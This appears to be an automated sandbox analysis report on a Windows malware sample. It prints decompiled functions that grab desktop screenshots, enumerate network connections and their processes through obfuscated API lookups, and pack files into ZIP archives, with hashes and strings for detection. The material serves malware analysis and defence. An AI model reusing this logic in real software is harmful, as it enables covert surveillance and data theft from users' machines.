API ID: Open$Close$CryptDataEnumFreeLocalUnprotect$MenuQueryStateValue_vsnprintf
String ID: %s\%s$-qq9 9C66gW0S$-qq9 Md02d0$-qq9 u6d0$9T9N 9C66gW0S$9T9N Md02d0$9T9N u6d0$?$MFq9 9C66gW0S$MFq9 Md02d0$MFq9 u6d0$XFD9 9C66gW0S$XFD9 Md02d0$XFD9 u6d0$jDM 9C66gW0S$jDM Md02d0 urm$jDM u6d0$jlC4i
API String ID: 1973268835-1367645864
Opcode ID: 5a1fc56df2489b25b4cedc4e0506998633517c783dbd7c47ba6df25c79f77c59
Instruction ID: c2d439ac8c23cb570df0ab79087284893563063e171fb1edf2eb3d6011b472d7
Opcode Fuzzy Hash: 5a1fc56df2489b25b4cedc4e0506998633517c783dbd7c47ba6df25c79f77c59
Instruction Fuzzy Hash: DA726BB0408345AFD710EF6AC58525EFBF0BF88748F408E2EE4D897291D7B995498F46

Uniqueness

Uniqueness Score: -1.00%

Function 00411D8C, Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 195windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00411DBD
GetSystemMetrics.USER32 ref: 00411DCC
GetDesktopWindow.USER32 ref: 00411DD4
GetDC.USER32 ref: 00411DFD
CreateCompatibleDC.GDI32 ref: 00411E08
CreateCompatibleBitmap.GDI32(?,?), ref: 00411E1D
SelectObject.GDI32 ref: 00411E4F
BitBlt.GDI32(00000000,00000000), ref: 00411E91
GetDIBits.GDI32 ref: 00411F17
calloc.MSVCRT ref: 00411F9C
GetDIBits.GDI32 ref: 00411FD7
ReleaseDC.USER32 ref: 00412044
DeleteDC.GDI32(00000000), ref: 00412052
DeleteObject.GDI32 ref: 0041205B
free.MSVCRT(?,00000000), ref: 004120B2

Strings

(, xrefs: 00411F58
(, xrefs: 00412003
BM, xrefs: 00411F32
6, xrefs: 00411F47
, xrefs: 00411E5A

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: BitsCompatibleCreateDeleteMetricsObjectSystem$BitmapDesktopReleaseSelectWindowcallocfree
String ID: $($($6$BM
API String ID: 3075093512-2637400849
Opcode ID: d7d7e5d3c01187142e8c43228c98c6042b0c96f3a722dfa341cae57414d2b9e1
Instruction ID: c42d9fa6f562a18c3eedbb1c72d559f421865ac330c7369b2ec7bacda9b62638
Opcode Fuzzy Hash: d7d7e5d3c01187142e8c43228c98c6042b0c96f3a722dfa341cae57414d2b9e1
Instruction Fuzzy Hash: 4781BDB05093409FD310EF6AD68475BBBE4AF88744F40892EF58887351E7B9D8888B5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040262F, Relevance: 30.0, APIs: 8, Strings: 9, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0040262F(signed int __ecx, signed int __edx, intOrPtr _a4) {
				char _v608;
				char _v624;
				char _v868;
				char _v876;
				char _v916;
				intOrPtr _v936;
				signed short _v944;
				void* _v948;
				intOrPtr _v964;
				intOrPtr _v968;
				void* _v972;
				intOrPtr _v976;
				void* _v980;
				char _v988;
				int _v996;
				void* _v1000;
				signed short _v1004;
				void* _v1008;
				signed int _v1010;
				signed short _v1012;
				signed short _v1014;
				intOrPtr _v1016;
				signed int _v1018;
				char* _v1020;
				signed short _v1022;
				void* _v1024;
				signed short _v1028;
				void* _v1032;
				signed short _v1036;
				signed int _v1040;
				signed int _v1048;
				signed short _v1052;
				void* _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				char _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr* _t144;
				void* _t147;
				void* _t150;
				void* _t162;
				void* _t163;
				void* _t165;
				void* _t166;
				intOrPtr* _t169;
				void* _t170;
				signed int _t171;
				signed int _t180;
				void* _t184;
				void* _t185;
				signed short _t188;
				void* _t189;
				signed int _t190;
				void* _t194;
				signed int _t195;
				signed int _t208;
				intOrPtr* _t213;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t225;
				signed int _t233;
				void** _t234;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				signed int _t238;
				signed short* _t239;
				void** _t240;
				void* _t241;
				signed int* _t242;

				_t225 = __edx;
				_t222 = __ecx;
				_t239 =  &_v1004;
				E0041236C( &_v944, 0x8000);
				_t139 = E00407F7A(_t225, "iphlpapi.dll");
				_v1020 = "psapi.dll";
				_v976 = _t139;
				_t140 = E00407F7A(_t225);
				_v1020 = "kernel32.dll";
				_v968 = _t140;
				_t141 = E00407F7A(_t225);
				_v1020 = "Ed5jf5dRSdSqYsqCVid";
				_v964 = _t141;
				_t144 = E00407F8E(_t225, _v976, E004081AA());
				_v1020 = "Ed5jf5dRSdSuSsqCVid";
				_t213 = _t144;
				_t147 = E00407F8E(_t225, _v976, E004081AA());
				_v1020 = "Ed590WYd66XlCnd_4idLCldD";
				_v972 = _t147;
				_t150 = E00407F8E(_t225, _v968, E004081AA());
				if(_t150 == 0) {
					_t150 = E00407F8E(_t225, _v964, E004081AA("Ed590WYd66XlCnd_4idLCldD"));
				}
				_t226 = _t225 & 0xffffff00 | _t213 == 0x00000000;
				_t224 = _t222 & 0xffffff00 | _v972 == 0x00000000 | _t225 & 0xffffff00 | _t213 == 0x00000000;
				if((_t222 & 0xffffff00 | _v972 == 0x00000000 | _t225 & 0xffffff00 | _t213 == 0x00000000) != 0 || _t150 == 0) {
					L24:
					_t214 =  &_v944;
					if(_v936 == 0) {
						_v1008 = 0;
						_v1012 = 0;
						_v1016 = 0xe5;
					} else {
						_v1008 = E00412540( &_v944);
						_v1016 = 0xe4;
						_v1012 = _v944;
					}
					E00405D7D(_t226, _a4);
					E004123B1(_t214);
					E00407FAB(_v976);
					E00407FAB(_v968);
					return E00407FAB(_v964);
				} else {
					_t234 =  &_v948;
					_v948 = 0;
					_v1000 = 0;
					_v1004 = 5;
					_v1008 = 2;
					_v1012 = 1;
					_v1016 = _t234;
					_v1020 = 0;
					_t162 =  *_t213();
					_t240 = _t239 - 0x18;
					if(_t162 != 0x7a) {
						L14:
						_t215 =  &_v972;
						_v972 = 0;
						_v1024 = 0;
						_v1028 = 1;
						_v1032 = 2;
						_v1036 = 1;
						_v1040 = _t215;
						 *_t240 = 0;
						_t163 = _v996();
						_t241 = _t240 - 0x18;
						if(_t163 != 0x7a) {
							goto L24;
						}
						_t165 = malloc(_v996);
						_v1000 = _t165;
						if(_t165 == 0) {
							goto L24;
						}
						_v1048 = 0;
						_v1052 = 1;
						_v1056 = 2;
						_v1060 = 1;
						_v1064 = _t215;
						_v1068 = _t165;
						_t166 = _v1020();
						_t242 = _t241 - 0x18;
						if(_t166 != 0) {
							L22:
							if(_v1024 != 0) {
								E00407F59( &_v1024);
							}
							goto L24;
						}
						_t235 = 0;
						_t237 =  &_v876;
						while(1) {
							_t169 = _v1024;
							if(_t235 >=  *_t169) {
								goto L22;
							}
							_t216 = _t235 * 0xc;
							_t170 = _t169 + _t216;
							_t171 =  *(_t170 + 8) & 0x0000ffff;
							_v1092 = _t171;
							L0041F914();
							_v1096 =  *((intOrPtr*)(_t170 + 4));
							_v1048 = _t171;
							L0041F924();
							_v1088 = _t171;
							_v1092 = 0x422c01;
							_v1096 = 0x40;
							_v1084 = _v1052 & 0x0000ffff;
							 *_t242 =  &_v1012;
							E004127A8();
							_v1092 = 0x104;
							_v1096 = _t237;
							 *_t242 =  *(_v1032 + _t216 + 0xc);
							E00402570(_t224, _t226, __eflags, _t224, _t226);
							_v1080 =  &_v1012;
							_t218 =  &_v624;
							_v1088 = _t237;
							_v1092 = 0x422c07;
							_v1096 = 0x204;
							 *_t242 = _t218;
							_v1084 =  *(_v1032 + _t216 + 0xc);
							_t180 = E004127A8();
							__eflags = _t180;
							if(_t180 > 0) {
								_v1092 = _t180;
								_v1096 = _t218;
								 *_t242 =  &_v1024;
								E00412458( &_v1024, _t226);
							}
							_t235 = _t235 + 1;
							__eflags = _t235;
						}
						goto L22;
					}
					 *_t240 = _v972;
					_t184 = malloc(??);
					_v980 = _t184;
					if(_t184 == 0) {
						goto L24;
					}
					_v1024 = 0;
					_v1028 = 5;
					_v1032 = 2;
					_v1036 = 1;
					_v1040 = _t234;
					 *_t240 = _t184;
					_t185 =  *_t213();
					_t240 = _t240 - 0x18;
					if(_t185 != 0) {
						L12:
						if(_v1004 != 0) {
							E00407F59( &_v1004);
						}
						goto L14;
					}
					_t236 = 0;
					_t238 =  &_v916;
					while(1) {
						_t188 = _v1004;
						if(_t236 >=  *_t188) {
							goto L12;
						}
						_t219 = _t236 * 0x18;
						_t189 = _t188 + _t219;
						_t190 =  *(_t189 + 0xc) & 0x0000ffff;
						_v1068 = _t190;
						L0041F914();
						_v1072 =  *((intOrPtr*)(_t189 + 8));
						_v1010 = _t190;
						L0041F924();
						_v1064 = _t190;
						_v1068 = "%s:%u";
						_v1072 = 0x40;
						_v1060 = _v1014 & 0x0000ffff;
						_v1076 =  &_v988;
						E004127A8();
						_t194 = _v1012 + _t219;
						_t195 =  *(_t194 + 0x14) & 0x0000ffff;
						_v1076 = _t195;
						L0041F914();
						_v1080 =  *((intOrPtr*)(_t194 + 0x10));
						_v1018 = _t195;
						L0041F924();
						_v1072 = _t195;
						_v1076 = "%s:%u";
						_v1080 = 0x40;
						_v1084 = _t238;
						_v1068 = _v1022 & 0x0000ffff;
						_t233 =  &_v868;
						E004127A8(_t224, _t226, _t224, _t226);
						_v1076 = 0x104;
						E00402570(_t224, _t226, __eflags, ( &(_v1020[_t219]))[0x18], _t233);
						_v1056 = E004081AA( *((intOrPtr*)(0x422ca0 + ( &(_v1020[_t219]))[4] * 4)));
						_v1060 = _t238;
						_v1064 =  &_v996;
						_t221 =  &_v608;
						_v1072 = _t233;
						_v1076 = 0x422bed;
						_v1080 = 0x204;
						_v1084 = _t221;
						_v1068 = ( &(_v1020[_t219]))[0x18];
						_t208 = E004127A8();
						__eflags = _t208;
						if(_t208 > 0) {
							E00412458( &_v1008, _t226,  &_v1008, _t221, _t208);
						}
						_t236 = _t236 + 1;
						__eflags = _t236;
					}
					goto L12;
				}
			}

0x0040262f
0x0040262f
0x00402633
0x00402648
0x00402654
0x00402659
0x00402660
0x00402664
0x00402669
0x00402670
0x00402674
0x00402679
0x00402680
0x00402694
0x00402699
0x004026a0
0x004026b2
0x004026b7
0x004026be
0x004026d2
0x004026d9
0x004026f2
0x004026f2
0x00402701
0x00402704
0x00402706
0x00402a74
0x00402a79
0x00402a7d
0x00402a9d
0x00402aa5
0x00402aad
0x00402a7f
0x00402a87
0x00402a8f
0x00402a97
0x00402a97
0x00402abf
0x00402ac7
0x00402ad3
0x00402adf
0x00402afa
0x00402714
0x00402714
0x00402718
0x00402720
0x00402728
0x00402730
0x00402738
0x00402740
0x00402744
0x0040274b
0x0040274d
0x00402753
0x004028fa
0x004028fa
0x004028fe
0x00402906
0x0040290e
0x00402916
0x0040291e
0x00402926
0x0040292a
0x00402931
0x00402935
0x0040293b
0x00000000
0x00000000
0x00402948
0x0040294f
0x00402953
0x00000000
0x00000000
0x00402959
0x00402961
0x00402969
0x00402971
0x00402979
0x0040297d
0x00402980
0x00402984
0x00402989
0x00402a61
0x00402a66
0x00402a6f
0x00402a6f
0x00000000
0x00402a66
0x0040298f
0x00402991
0x00402a55
0x00402a55
0x00402a5b
0x00000000
0x00000000
0x0040299d
0x004029a0
0x004029a5
0x004029a9
0x004029ac
0x004029b2
0x004029b5
0x004029ba
0x004029c5
0x004029cd
0x004029d5
0x004029dd
0x004029e1
0x004029e4
0x004029ed
0x004029f5
0x004029fe
0x00402a01
0x00402a0e
0x00402a15
0x00402a1c
0x00402a20
0x00402a28
0x00402a30
0x00402a33
0x00402a37
0x00402a3c
0x00402a3e
0x00402a40
0x00402a48
0x00402a4c
0x00402a4f
0x00402a4f
0x00402a54
0x00402a54
0x00402a54
0x00000000
0x00402a55
0x0040275d
0x00402760
0x00402767
0x0040276b
0x00000000
0x00000000
0x00402771
0x00402779
0x00402781
0x00402789
0x00402791
0x00402795
0x00402798
0x0040279a
0x0040279f
0x004028e7
0x004028ec
0x004028f5
0x004028f5
0x00000000
0x004028ec
0x004027a5
0x004027a7
0x004028db
0x004028db
0x004028e1
0x00000000
0x00000000
0x004027b3
0x004027b6
0x004027bb
0x004027bf
0x004027c2
0x004027c8
0x004027cb
0x004027d0
0x004027db
0x004027e3
0x004027eb
0x004027f3
0x004027f7
0x004027fa
0x00402803
0x00402808
0x0040280c
0x0040280f
0x00402815
0x00402818
0x0040281d
0x00402828
0x0040282c
0x00402834
0x0040283c
0x0040283f
0x00402843
0x0040284a
0x00402853
0x00402867
0x00402888
0x00402890
0x00402894
0x0040289b
0x004028a2
0x004028a6
0x004028ae
0x004028b6
0x004028b9
0x004028bd
0x004028c2
0x004028c4
0x004028d5
0x004028d5
0x004028da
0x004028da
0x004028da
0x00000000
0x004028db

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

malloc.MSVCRT ref: 00402760
ntohs.WS2_32 ref: 004027C2
ntohs.WS2_32 ref: 0040280F
ntohs.WS2_32 ref: 004029AC
inet_ntoa.WS2_32 ref: 004029BA
inet_ntoa.WS2_32 ref: 0040281D

Part of subcall function 00402570: CreateToolhelp32Snapshot.KERNEL32 ref: 004025BF
Part of subcall function 00402570: Process32First.KERNEL32 ref: 004025DF
Part of subcall function 00402570: CloseHandle.KERNEL32 ref: 0040261E

inet_ntoa.WS2_32 ref: 004027D0

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

malloc.MSVCRT ref: 00402948

Strings

Ed5jf5dRSdSuSsqCVid, xrefs: 00402699
iphlpapi.dll, xrefs: 0040264D
%s:%d, xrefs: 004029CD
Ed590WYd66XlCnd_4idLCldD, xrefs: 004026B7, 004026DB
%s:%u, xrefs: 004027E3, 0040282C
Ed5jf5dRSdSqYsqCVid, xrefs: 00402679
psapi.dll, xrefs: 00402659
kernel32.dll, xrefs: 00402669
@, xrefs: 004029D5

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: inet_ntoamallocntohs$AddressCloseCreateFirstHandleLibraryLoadProcProcess32SnapshotToolhelp32_vsnprintf
String ID: %s:%d$%s:%u$@$Ed590WYd66XlCnd_4idLCldD$Ed5jf5dRSdSqYsqCVid$Ed5jf5dRSdSuSsqCVid$iphlpapi.dll$kernel32.dll$psapi.dll
API String ID: 862321954-1859760768
Opcode ID: 509372391fbaea05024ef59af88972020891577ff80d84ecfeba2467cf68ae9c
Instruction ID: 64c6eb304da1bd60933a222d55b1bae016526deff2b752f498ff56c04a6099ea
Opcode Fuzzy Hash: 509372391fbaea05024ef59af88972020891577ff80d84ecfeba2467cf68ae9c
Instruction Fuzzy Hash: 28D1A3B4908341ABC710AF65C58965EFBF0BF84748F418C2EF8C897291D7B9D988CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0041D049, Relevance: 25.0, APIs: 11, Strings: 3, Instructions: 453
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 15%

			E0041D049(signed int __ecx, signed int __edx, intOrPtr* _a4, signed int _a8, char* _a12, char* _a16, signed short _a20, signed char _a24, intOrPtr _a28) {
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v42;
				char _v46;
				char _v50;
				char _v51;
				unsigned short _v52;
				char _v53;
				unsigned short _v54;
				char _v56;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				void _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				char _v92;
				signed short _v94;
				signed short _v96;
				signed short _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed short _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				void* _v164;
				signed int _v168;
				intOrPtr _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				intOrPtr _v208;
				void* _v212;
				signed int _v216;
				signed short _v220;
				signed int _v224;
				signed int _v228;
				void* _v232;
				signed char _t265;
				signed short _t270;
				char* _t282;
				struct _IO_FILE* _t286;
				signed int _t289;
				signed int _t294;
				signed int _t295;
				void* _t304;
				signed int _t316;
				void* _t332;
				signed int _t344;
				signed int _t347;
				signed int _t349;
				signed int _t355;
				int _t358;
				void* _t367;
				signed int _t369;
				signed int _t371;
				int _t376;
				void* _t379;
				char* _t381;
				void* _t392;
				char* _t393;
				unsigned short _t394;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t410;
				signed int _t417;
				unsigned short _t422;
				signed int _t441;
				char* _t447;
				signed int _t448;
				void* _t449;
				signed int _t451;
				char _t452;
				signed int _t453;
				signed int _t454;
				void* _t455;
				char** _t456;

				_t410 = __edx;
				_t397 = __ecx;
				_t456 = _t455 - 0xdc;
				_t449 = _a4;
				_v96 = 0;
				_v94 = 0;
				_v112 = _a20;
				_t265 = _a24;
				if(_t265 < 0) {
					_t265 = 6;
				}
				if(_t449 == 0 ||  *((intOrPtr*)(_t449 + 0x48)) == 0 ||  *((intOrPtr*)(_t449 + 0x14)) != 2 || _a8 == 0) {
					L17:
					_t441 = 0;
					goto L61;
				} else {
					_t451 = _t265 & 0x0000000f;
					_t398 = _t397 & 0xffffff00 | _v112 != 0x00000000;
					if((_t398 & (_t410 & 0xffffff00 | _a16 == 0x00000000)) == 0 && _t451 - 0xa > 0 <= 0 && (_t265 & 0x00000004) == 0 && E00414919(_a8) != 0) {
						asm("repne scasb");
						_t270 =  !(_t398 | 0xffffffff) - 1;
						_v140 = _t270;
						if(_t270 > 0xffff) {
							goto L17;
						}
						_t392 = E0041493A(_t449);
						if( *(_t449 + 0x10) == 0xffff) {
							goto L17;
						}
						_v144 = 0;
						_v164 =  *_t449;
						_v160 =  *((intOrPtr*)(_t449 + 4));
						asm("adc edx, [esp+0x4c]");
						_v124 = _t392 + _v164;
						_v120 = 0;
						_v148 = _v140;
						asm("adc edx, 0x0");
						asm("adc edx, [esp+0x5c]");
						asm("adc edx, [esp+0x74]");
						if(0 > 0) {
							goto L17;
						}
						_v232 =  &_v64;
						_t282 = _a12;
						 *_t456 = _t282;
						L0041F7B4();
						if(_t282 != 0) {
							goto L17;
						}
						E00415FC6(_v36,  &_v94,  &_v96);
						_v232 = 0x424983;
						 *_t456 = _a12;
						_t286 = fopen(??, ??);
						_v168 = _t286;
						if(_t286 == 0) {
							goto L17;
						}
						_v228 = 2;
						_v232 = 0;
						 *_t456 = _t286;
						fseek(??, ??, ??);
						 *_t456 = _v168;
						_t289 = ftell(??);
						_v136 = _t289;
						_v156 = _t289;
						_v152 = _t289 >> 0x1f;
						_v228 = 0;
						_v232 = 0;
						 *_t456 = _v168;
						fseek(??, ??, ??);
						if(_v152 <= 0) {
							__eflags = _v136 - 3;
							if(__eflags <= 0) {
								_t451 = 0;
								__eflags = 0;
							}
							_t393 = _t392 + 0x1e;
							 *_t456 = _t393;
							_t294 = E00414DC1(_t449, _v160, _v164, __eflags);
							__eflags = _t294;
							_t441 = _t294;
							if(_t294 != 0) {
								_t417 =  *(_t449 + 0x24);
								_t295 =  *(_t449 + 0x20);
								__eflags = _t417 | _t295;
								if((_t417 | _t295) != 0) {
									asm("adc edx, 0xffffffff");
									__eflags = _t417 & _v120 | _t295 + 0xffffffff & _v124;
									if((_t417 & _v120 | _t295 + 0xffffffff & _v124) != 0) {
										_v228 = 0x18d6;
										_v232 = 0x424620;
										 *_t456 = "(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0";
										L0041F7E4();
									}
								}
								asm("adc edx, [esp+0x4c]");
								_v164 =  &(_t393[_v164]);
								_v160 = 0;
								memset( &_v64, 0, 0x1e << 0);
								_t456 =  &(_t456[3]);
								_v228 = _v160;
								_v220 = _v140;
								_v224 = _a8;
								_v232 = _v164;
								 *_t456 =  *(_t449 + 0x44);
								_t304 =  *((intOrPtr*)(_t449 + 0x3c))();
								__eflags = _v140 - _t304;
								if(_v140 != _t304) {
									goto L16;
								} else {
									asm("adc edx, [esp+0x4c]");
									_v148 = _v164 + _v148;
									__eflags = _v136 | _v152;
									if((_v136 | _v152) == 0) {
										_t452 = 0;
										__eflags = 0;
										_v164 = 0;
										_v132 = _v136;
										_v116 = _v152;
										L56:
										 *_t456 = _v168;
										fclose(??);
										__eflags = _v116;
										if(_v116 > 0) {
											goto L17;
										}
										__eflags = _v144;
										if(_v144 > 0) {
											goto L17;
										}
										_t422 = _v94;
										__eflags = _t452 - 1;
										_t394 = _v96;
										_t316 = memset( &_v64, 0, 0x1e << 0);
										_t456 =  &(_t456[3]);
										asm("sbb eax, eax");
										_v52 = _t422;
										_v51 = _t422 >> 8;
										_v54 = _t394;
										_v60 =  !_t316 & 0x00000014;
										_v64 = 0x50;
										_v56 = _t452;
										_v63 = 0x4b;
										_v62 = 3;
										_v61 = 4;
										_v53 = _t394 >> 8;
										E00414900( &_v50, _v164);
										E00414900( &_v46, _v132);
										E00414900( &_v42, _v136);
										_v220 = 0x1e;
										_v36 = 0;
										_v35 = 0;
										_v38 = _v140;
										_v228 = _v120;
										_v37 = _v140 >> 8;
										_v224 =  &_v64;
										_v232 = _v124;
										 *_t456 =  *(_t449 + 0x44);
										_t332 =  *((intOrPtr*)(_t449 + 0x3c))();
										__eflags = _t332 - 0x1e;
										if(_t332 != 0x1e) {
											goto L17;
										}
										_v208 = _t452;
										_v188 = _a28;
										_v192 = _v120;
										_v196 = _v124;
										_v224 = _v152;
										_v200 = _v94 & 0x0000ffff;
										_v204 = _v96 & 0x0000ffff;
										_v212 = _v164;
										_v220 = _v132;
										_v216 = _v116;
										_v228 = _v156;
										_v232 = _v112 & 0x0000ffff;
										 *_t456 = _a16;
										_t344 = E00416311(_t449, _v140 & 0x0000ffff, _a8);
										__eflags = _t344;
										if(_t344 == 0) {
											goto L17;
										}
										_t441 = 1;
										_t261 = _t449 + 0x10;
										 *_t261 =  *(_t449 + 0x10) + 1;
										__eflags =  *_t261;
										 *_t449 = _v148;
										 *((intOrPtr*)(_t449 + 4)) = _v144;
										goto L61;
									}
									_v228 = 0x10000;
									_v232 = 1;
									 *_t456 =  *(_t449 + 0x34);
									_t347 =  *((intOrPtr*)(_t449 + 0x28))();
									__eflags = _t347;
									_t396 = _t347;
									if(_t347 == 0) {
										goto L16;
									}
									__eflags = _t451;
									if(_t451 != 0) {
										_v228 = 0x4df40;
										_v232 = 1;
										 *_t456 =  *(_t449 + 0x34);
										_t349 =  *((intOrPtr*)(_t449 + 0x28))();
										__eflags = _t349;
										_t447 = _t349;
										if(_t349 == 0) {
											L52:
											_v232 = _t396;
											 *_t456 =  *(_t449 + 0x34);
											 *((intOrPtr*)(_t449 + 0x2c))();
											goto L16;
										}
										_v228 = 0;
										_v232 = 0xfffffff1;
										 *_t456 = _t451;
										_v92 = _t449;
										_v80 = _v144;
										_v84 = _v148;
										_v76 = 0;
										_v72 = 0;
										_v224 = E0041A99E();
										_v232 = E00416018;
										 *_t456 = _t447;
										_v228 =  &_v92;
										_t355 = E0041A64C();
										__eflags = _t355;
										if(_t355 == 0) {
											_v164 = 0;
											_v148 = _v156;
											_v144 = _v152;
											do {
												__eflags = _v144;
												if(_v144 > 0) {
													L45:
													_t453 = 0x10000;
													L46:
													_v228 = _t453;
													_v232 = 1;
													 *_t456 = _t396;
													_v224 = _v168;
													_t358 = fread(??, ??, ??, ??);
													__eflags = _t453 - _t358;
													if(_t453 != _t358) {
														break;
													}
													_v228 = _t453;
													_v232 = _t396;
													 *_t456 = _v164;
													_t367 = E004171DA();
													_v148 = _v148 - _t453;
													_v164 = _t367;
													asm("sbb [esp+0x5c], edx");
													_v228 = _t453;
													_t369 = _v144 | _v148;
													_v232 = _t396;
													 *_t456 = _t447;
													__eflags = _t369 - 1;
													asm("sbb eax, eax");
													_v224 = _t369 & 0x00000004;
													_t371 = E0041A5F0();
													__eflags = _t371 - 1;
													if(_t371 == 1) {
														_t454 = 1;
														L51:
														_v232 = _t447;
														 *_t456 =  *(_t449 + 0x34);
														 *((intOrPtr*)(_t449 + 0x2c))();
														__eflags = _t454;
														if(_t454 != 0) {
															_t452 = 8;
															_v132 = _v76;
															_v144 = _v80;
															_v116 = _v72;
															_v148 = _v84;
															L54:
															_v232 = _t396;
															 *_t456 =  *(_t449 + 0x34);
															 *((intOrPtr*)(_t449 + 0x2c))();
															goto L56;
														}
														goto L52;
													}
													goto L48;
												}
												__eflags = _v148 - 0xffff;
												if(_v148 > 0xffff) {
													goto L45;
												}
												_t453 = _v148;
												goto L46;
												L48:
												__eflags = _t371;
											} while (_t371 == 0);
											_t454 = 0;
											goto L51;
										}
										_v232 = _t447;
										 *_t456 =  *(_t449 + 0x34);
										 *((intOrPtr*)(_t449 + 0x2c))();
										goto L52;
									}
									_v164 = 0;
									_v132 = _v156;
									_v128 = _v152;
									do {
										__eflags = _v128;
										if(_v128 > 0) {
											L33:
											_t448 = 0x10000;
											L34:
											_v228 = _t448;
											_v232 = 1;
											 *_t456 = _t396;
											_v224 = _v168;
											_t376 = fread(??, ??, ??, ??);
											__eflags = _t448 - _t376;
											if(_t448 != _t376) {
												goto L52;
											}
											_v220 = _t448;
											_v224 = _t396;
											_v232 = _v148;
											_v228 = _v144;
											 *_t456 =  *(_t449 + 0x44);
											_t379 =  *((intOrPtr*)(_t449 + 0x3c))();
											__eflags = _t448 - _t379;
											if(_t448 != _t379) {
												goto L52;
											}
											goto L36;
										}
										__eflags = _v132 - 0x10000;
										if(_v132 > 0x10000) {
											goto L33;
										}
										_t448 = _v132;
										goto L34;
										L36:
										_v228 = _t448;
										_v232 = _t396;
										 *_t456 = _v164;
										_t381 = E004171DA();
										_v132 = _v132 - _t448;
										_v164 = _t381;
										asm("sbb [esp+0x6c], edx");
										_v148 = _v148 + _t448;
										asm("adc [esp+0x5c], edx");
										__eflags = _v128 | _v132;
									} while ((_v128 | _v132) != 0);
									_t452 = 0;
									_v132 = _v136;
									_v116 = _v152;
									goto L54;
								}
							} else {
								 *_t456 = _v168;
								fclose(??);
								L61:
								return _t441;
							}
						}
						L16:
						 *_t456 = _v168;
						fclose(??);
					}
					goto L17;
				}
			}

0x0041d049
0x0041d049
0x0041d04d
0x0041d05a
0x0041d061
0x0041d06b
0x0041d075
0x0041d079
0x0041d082
0x0041d084
0x0041d084
0x0041d08b
0x0041d249
0x0041d249
0x00000000
0x0041d0b3
0x0041d0b5
0x0041d0be
0x0041d0ce
0x0041d109
0x0041d10d
0x0041d115
0x0041d119
0x00000000
0x00000000
0x0041d12d
0x0041d12f
0x00000000
0x00000000
0x0041d13a
0x0041d142
0x0041d146
0x0041d152
0x0041d156
0x0041d15e
0x0041d164
0x0041d170
0x0041d177
0x0041d17f
0x0041d186
0x00000000
0x00000000
0x0041d193
0x0041d197
0x0041d19e
0x0041d1a1
0x0041d1a8
0x00000000
0x00000000
0x0041d1c3
0x0041d1cf
0x0041d1d7
0x0041d1da
0x0041d1e1
0x0041d1e5
0x00000000
0x00000000
0x0041d1e7
0x0041d1ef
0x0041d1f7
0x0041d1fa
0x0041d203
0x0041d206
0x0041d20b
0x0041d20f
0x0041d216
0x0041d21e
0x0041d226
0x0041d22e
0x0041d231
0x0041d23b
0x0041d250
0x0041d255
0x0041d257
0x0041d257
0x0041d257
0x0041d261
0x0041d264
0x0041d269
0x0041d26e
0x0041d270
0x0041d272
0x0041d285
0x0041d288
0x0041d28d
0x0041d28f
0x0041d294
0x0041d29f
0x0041d2a1
0x0041d2a3
0x0041d2ab
0x0041d2b3
0x0041d2ba
0x0041d2ba
0x0041d2a1
0x0041d2c7
0x0041d2d0
0x0041d2d6
0x0041d2e7
0x0041d2e7
0x0041d2ed
0x0041d2f1
0x0041d2fc
0x0041d304
0x0041d30b
0x0041d30e
0x0041d311
0x0041d315
0x00000000
0x0041d31b
0x0041d327
0x0041d32b
0x0041d333
0x0041d33b
0x0041d5f6
0x0041d5f6
0x0041d5f8
0x0041d600
0x0041d608
0x0041d60c
0x0041d610
0x0041d613
0x0041d618
0x0041d61d
0x00000000
0x00000000
0x0041d623
0x0041d628
0x00000000
0x00000000
0x0041d635
0x0041d644
0x0041d648
0x0041d64f
0x0041d64f
0x0041d651
0x0041d653
0x0041d660
0x0041d66e
0x0041d679
0x0041d682
0x0041d68a
0x0041d698
0x0041d6a0
0x0041d6a8
0x0041d6b0
0x0041d6b7
0x0041d6c7
0x0041d6d7
0x0041d6e4
0x0041d6ec
0x0041d6f4
0x0041d6fc
0x0041d707
0x0041d70f
0x0041d71d
0x0041d725
0x0041d72c
0x0041d72f
0x0041d732
0x0041d735
0x00000000
0x00000000
0x0041d74b
0x0041d74f
0x0041d757
0x0041d75f
0x0041d76b
0x0041d776
0x0041d782
0x0041d78a
0x0041d792
0x0041d79a
0x0041d7a2
0x0041d7ab
0x0041d7b6
0x0041d7bb
0x0041d7c0
0x0041d7c2
0x00000000
0x00000000
0x0041d7d0
0x0041d7d5
0x0041d7d5
0x0041d7d5
0x0041d7d8
0x0041d7da
